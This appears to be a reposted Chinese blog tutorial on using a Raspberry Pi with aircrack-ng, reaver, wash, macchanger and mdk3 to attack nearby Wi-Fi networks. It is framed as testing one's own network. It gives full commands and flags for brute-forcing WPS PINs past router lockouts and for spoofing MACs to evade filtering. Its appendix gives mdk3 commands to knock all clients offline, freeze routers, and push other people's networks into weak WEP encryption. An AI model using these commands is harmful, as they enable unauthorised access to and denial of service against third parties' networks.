Total Pageviews

Friday, 26 February 2016

用Raspberry Pi检测自己的无线网络安全

"实际上本文适用于其他Linux/Unix-like 系统“
著作本文之目的是在于学习和探测自己的无线网络安全,如使用于其他目的皆与我无关,安全是双刃剑,可守亦可攻。

通常我们都会使用家庭无线路由,使得无线设备可以连网,但是隔墙有耳,无线的特性也决定了他人可以进行连接,因此我们需要诊断自己的无线是否安全。传统上,我们使用pc,装个CDLinux或者Benni,再或者巨无霸级别的BlackTrack,这会占用一台PC,并且不得不忍受睡前检测自己安全,睡醒后检测到一半,然后要关机切换回工作系统。

所以今天的目的就是要让你摆脱束缚,使用Raspberry Pi作为无线检测基地,24小时自动帮你检查你的无线安全性,文章会涉及Raspberry Pi下安装使用Reaver和Aircrack-ng,以及在WPS PIN时的一些问题,另外涉及到跑包解码部分会在后续补全。下面就开始说一下:

检测目的:检测自己家的无线安全性

检测手段:WPS 计算、WPA-PSK反解、匿名攻击

检测平台: 
              1  Raspberry Pi  512M/256M
              2  2张 USB WIFI Card,我的 AR9721 芯片和Realtek任意网卡
              3  Raspbian OS

检测步骤:

一, 软件的准备
1 Aircrack-ng 


但是这个地址似乎被国家防火墙给OOXX,你需要想点办法才可以。

apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark
vi common.mak

在最后几行看到如下

CFLAGS          ?= -g -W -Wall -Werror -O3
删除 "-Werror",否则编译会不通过

保存后退出,然后

make && sudo make install

2 Reaver 1.4

tar zxvf reaver-1.4.tar.gz
cd  reaver-1.4/src
./configure && make && sudo make install

3 [非必须软件] macchanger

sudo apt-get insall -y macchanger

作用是保护我们自己,更改我们自己的网卡MAC。另外一个用途是,我们的无线路由有MAC地址绑定,我们改成它正常客户端的MAC就可以进行探测

二 无线网卡的选择

要检测无线安全性,必须要求无线网卡能进入混杂模式,这种模式可以接受所有的无线信号,符合这种要求的网卡一般都是有特定芯片。例如常见的所谓 8187网卡等等,我这里选用的是 Atheros 9271 ,原因有两点:

1 Atheros 92XX 芯片性能不错,Apple Mac Book Air / Pro 之前就是 Atheros 9280,而我的笔记本也是 AR9280。这网卡的好处不单可以接收无线信号,还可以做热点,将接收的无线网路再次分发,也就是说电脑就能实现无线桥接。

2 驱动简单,无bug。Raspberry Pi系统就有 AR 9XXX 的驱动,插上网卡就可以驱动,也没有兼容问题。


另外,我在硬件需求里,也提到过要2张USB网卡,其中一个必须是可以进入混杂模式的无线网卡(本例中是 Atheros 9271),另一张就随便一个便宜的无线网卡,属于非必须,原因是这第二张无线网卡仅仅是提供给我们远程连接用的。我想你更希望,一边用AirPlay在RaspBerry Pi上看高清,一边让它后台帮你侦测安全,第二张网卡的作用就是AirPlay用和远程控制用,你也可以使用自带的有线网卡。

在这一节,除了要购买好网卡外,插入到raspberry后,你还需要注意无线网卡是哪一个名称,例如我的 

ifconfig -a 

eth0: ..................................
.......................

wlan0 : ...................................
.......................

wlan1:...................
................

Linux不太好的地方是,对驱动使用通用名称而非显示驱动名称,所以你只能看看Mac 地址来区分wlan0 wlan1各自对应,或者你拔掉一个网卡,看看序号变化。另外也可使用命令 " lsusb "来看看。不在今天的讨论之内。

这里假定: wlan0 是用于ssh 连接,进行远程控制的网卡; wlan1 对应 Atheros 9271网卡,用了进行安全侦听。

三 检测无线安全

1 扫描无线网路

废话一句:最好你能 apt-get install screen ,这样你就可以在关闭远程连接时,RaspBerry Pi继续工作,此软件为非必须。

由于我将raspberry打开了root用户,所以我直接使用root操作,如果你也想减少麻烦,建议也直接切换到root (可以先在普通用户模式下 sudo passwd root ,给root改密码,然后你就可以直接 " su -  ",切换)。

1) 命令

airmon-ng start wlan1

这将会产生一个新的网络接口  mon0 , 这表示要在wlan1上开始无线侦听啦,这时你可以通过 mon0 接受周围任何无线数据包。

2) 命令

airodump-ng mon0

将会得到一个列表(这张列表其实还有后半部分,未列出)

CH  3 ][ Elapsed: 23 mins ][ 2013-05-12 22:35                             
                                                                           
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                           

18:64:C7:1E:2E:6f  -70     1519       19    0  11  54   WPA2 CCMP   PSK  China
17:E6:E4:F2:32:B6  -75       70       85    0   6  54e. WPA2 CCMP   PSK  steve
8a:21:0A:9C:D9:57  -78      451        1    0   6  54e WPA2 CCMP   MGT  MERCU
8c:E8:73:31:56:99  -81      442        1    0   6  54e. WPA2 CCMP   PSK  xiux
98:83:45:4A:FE:66  -83      526      230    0   6  54e. WPA2 CCMP   PSK  Re


注意看这张列表,列表中显示了你周边无线的相关信息。注意看 MB 这一列,显示为" 54 "、"54e. "等等,这表示了无线当前的速率模式以及WPS开启状况,我自己的路由器是 "steve",注意看,”54e“和” 54e. “是不同的,多了一个 点,这个点表示开启了 wps模式。所以我们下面就进行wps的探测,在这里我们要记住SSID对应的MAC地址,此后我们会针对MAC地址进行攻击和探测。

或者,你额外进行一个操作,扫描 wps 专用命令  wash :

 wash -i mon0 -n 5 -C -s

这表示使用 mon0 界面监听周围wps信号,对每个无线点进行5个包探测, -C 表示忽略存在错误包的频道, -s 就是扫描 scan。会得到如下:

root@xbmc:/home/pi# wash -i mon0 -n 5 -C -s

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
---------------------------------------------------------------------------------------------------------------
3C:D1:77:3E:79:5c       1            -62        1.0               No                Jasom
aC:63:BF:75:80:7b       1            -63        1.0               No                MERCURY
a8:61:BF:75:80:33       1            -62        1.0               No                MERCURY
78:83:45:4A:FE:ae       6            -74        1.0               No                Rem
cC:E8:73:31:56:5f       6            -82        1.0               No                xiu
bC:17:2F:41:99:F8       6            -82        1.0               No                TP-LINK_
58:64:C7:1E:2E:b2      11            -77        1.0               No                ChinaNet-
d2:54:99:55:A7:e9      11            -72        1.0               No                ChinaNet-
eC:21:0A:9C:D9:c5       6            -79        1.0               No                MERCURY_

这样就一目了然的看到 WPS 那里都是 1.0,而且WPS Locked 是NO。这就是我们接下来要做的事情了。

3)WPS 探测破解

3.1)  记住:保护自己,在操作前,使用 macchanger 或者系统自带的ifconfig。

macchanger -m aa:bb:cc:dd:ee:ff wlan1 

命令的意思是,强制更改wlan1的MAC地址为 aa:bb:cc:dd:ee:ff ,如果路由器限制了MAC,你就将此处的MAC改成可以正常访问的。有mac限制的wifi通常都是由自己客户端连接的,因此你要有耐心使用 airodump-ng mon0 (也即是上面 2种提到)去看底下的客户端列表。因此路由器限定MAC并不安全。

你也可能喜欢:

macchanger -r wlan1 

这表示把wlan1 改成随机的MAC,这样就不担心路由器的封锁。

3.2) 接下来正式开始破解WPS的PIN


reaver -i mon0  -b 00:01:02:03:04:05 -vv -S -a 

其中 -b 后面的MAC就是你要破解的无线的MAC,然后你就可以让raspberry自己搞定。

-vv 是查看详细信息的,等你熟练了之后,你就可以使用 -v ,这样就简单了。通常,遇到问题才会使用 -vv 。

得到下面:

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Restored previous session
[+] Waiting for beacon from 18:17:2F:54:87:f3
[+] Associated with EC:17:2F:54:87:7C (ESSID: Steve)
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54633339
[+] Trying pin 54634442
[+] Trying pin 54635555
[+] 90.95% complete @ 2013-05-11 20:52:06 (8 seconds/pin)
[+] Trying pin 54635555
[+] Trying pin 54636668
[+] Trying pin 54637771
[+] Trying pin 54637771

3.4)可能遇到的问题

如果只是几条命令这么简单,可能我这文章与其他人就无异了,这里要说的是探测过程中可能遇到的状况。

a.  reaver 命令出错中断了,我的破解进度怎么办

这个你不用担心,reaver是实时保存进度到 /usr/local/etc/reaver/ 目录下,如果你查看你会发现文件使用 mac地址.wpc 格式存放,下一次你只要是针对此mac的破解将会自动读取该文档,所以你可以在任何时候中断。

b. reaver 提示” Failed Associated with XX:XX:XX:XX:XX:XX "

这表示你无法连接到所选的wifi ,可能是信号问题,可能是对方被你给PIN死了,也可能是对方限制了MAC地址。解决方案:

*针对信号,这个神都解决不了,除非换天线
*路由PIN死了,但是可能路由上网还通,因此你虽然连接不上,但是不影响原来已经连接的。所以这种情况就要使用大招: mdk3 攻击,强制使路由器处于假死,迫使主人重启路由器。至于mdk3的使用,你可以跳到文章后面阅读,或者本页搜索 mdk3攻击 。
*对方限制了MAC地址,这个我在前面macchanger中已经提到,HOHO有备而来哟。

c. reaver 破解到 99.99%以后就无限循环了

这个问题比较复杂,多半是因为漏PIN了 ,网络上流传可以使用 -n 来解决,但是也不尽然,如果PIN的时候网络不好,你PIN了一组数字,结果服务器不回复,reaver就认为那组数字是错误的,实际上是因为你和路由间信号不好导致回复丢失了。。。。。

首先,如果你不幸到了99.99%无限循环,那就要去手动修改 /usr/local/etc/reaver/mac地址.wpc,可以看前三行,修改第二行为000,强制重新从90%开始计算。关于wpc文件,将会在后面进行解释。
如果你仅仅是临时测试PIN进度,可以使用 

reaver -i mon0  -b 00:01:02:03:04:05 -vv -n -a -p 5463

此处5463是你99.99%循环时那组数字的前四位。这个临时模式的破解进度是无法保存的,需要注意。如果需要实时保存进度,只能修改上面提到的wpc文件。

其次,使用 -vv 看看有没有出错,例如我发现我的就一直提示:

[!] WPS transaction failed (code: 0x03), re-trying last pin
或者 
[!] WPS transaction failed (code: 0x02), re-trying last pin

这或许因为对方路由器限定了PIN的次数,过于频繁就会拒绝我们的探测,因此我们修改一下参数:

reaver -i mon0  -b 00:01:02:03:04:05 -vv -S -N -L -d 60 -r 3:15 -T .5 -x 360

好吧,这下参数变长了好多,其实很简单:

-L 就是忽略路由锁定

-d 60 就是发一次等1分钟,降低我们的探测频率,这相当有用,尽管速度降了下来但是更精准了。

-r 3:15是一个PIN失败后尝试3次,每次间隔15秒。

-T .5 默认是 0.1 ,这是说多久没有收到无线路由的回馈算PIN失败。改大一点可以弥补信号冲突、衰减造成的延迟大的问题。

-x 360 ,当同PIN10次失败后,reaver就进入休眠,时间10分钟,这样可以让路由器恢复一下,利于我们继续PIN!!

这样一来,就不再提示错误了,偶尔也会有一两个,但是因为可以重试所以准确率提高。

d reaver的时候总是要从123456789开始,有没有捷径可以走?

当然有捷径,只是不是十分靠谱,在进行动作前 ,查阅 http://mac-pin.456vv.net/ 针对你要探测的MAC进行查询,可以使用MAC前半部查询,得到一个近似值,然后你就使用前面提到的临时命令看看是否会直接就到90%,如果是,表示前4位是正确的。
然后,修改wpc文件,第一行为 那四位,第三行为1 。然后享受飞跃的感觉。

如果你要破解的时中国电信 ChinaNet-xxYn的路由器,可以从网上下载一个 “中国电信路由光猫PIN计算”的excel文档,里面也可能极不靠谱的粗略计算一下前四位。虽然极不靠谱,但是在我的尝试中还不错。

到此为止,我们的WPS探测就告一段落。接下来要说的是,没有开放WPS的路由怎么办?

4 WPA /WPA 2 加密的路由

这个只能跑包解决,也就是说,我们只能探测握手包,就是密码认证的握手包。我会抽时间补全。

附记:

mdk3攻击

我不想将这个写太详细,因为危害极大,但是技术始终是中立,看用的人如何。

mdk3攻击的目的

1 迫使路由死机,人为重启路由器。

这多半是因为我们探测是路由被探测死掉,拒绝我们的探测,需要让人重启,但是路由又不归我们控制,这时mdk3就让路由下线,那么人就不得不重启路由。亲测90%情况下有效

2 迫使对方更换密码加密方式

对方路由使用了 wpa/wpa2 加密,没有Wps,跑包又无效,怎么办,我们就使用mdk3进行攻击,迫使对方客户端全部掉线,直到更换为wep加密方式,可以秒破。你肯定会问成功概率,我能说的就是,概率比较低,主要原因是,操作路由的人发现wpa无法认证通常都是重启路由了,因此你需要有耐心的让raspberry 24小时不断骚扰,过一周后就可能对方变更了,我只成功过一次。这是在跑包无奈下的选择。

3 假造很多假的SSID

这种就是无线骚扰,要说有啥用途,第一就是让人家不得安生,那么多ID塞满周边,无从选择,因为ID都差不多。第二,就是人家会选错,使用正确的密码认证。我没有这么用过。

列绝了以上3个作用,下面就是实践:

安装:
修改Makefile
将 LINKFLAGS = -lpthread
修改为 LINKFLAGS = -pthread (去掉l )

make && sudo make install 

1 mdk3 mon0 a -a 路由器MAC     #迫使主人重启路由

2 mdk3 mon0 g -t BSSID(例如ChinaNet-Hj4q,也即是wifi的名字)               #此命令将会迫使路由器的WPA假死,直到主人更换为WEP。 !!!!危害极大

3 假SSID,这个我不说了

4 mdk3 mon0 d -b 文件名(文件名称中包含要攻击的MAC)-s 数字(发包速度)       #此命令将会令AP的客户端全下线。用途是在你抓取wpa认证握手包时,强制他们重新认证。 !!!!危害超级大,如果使用不当会导致周围所有无线客户端都掉线!!!!!!!

from http://bao3.blogspot.com/2013/05/raspberry-pi.html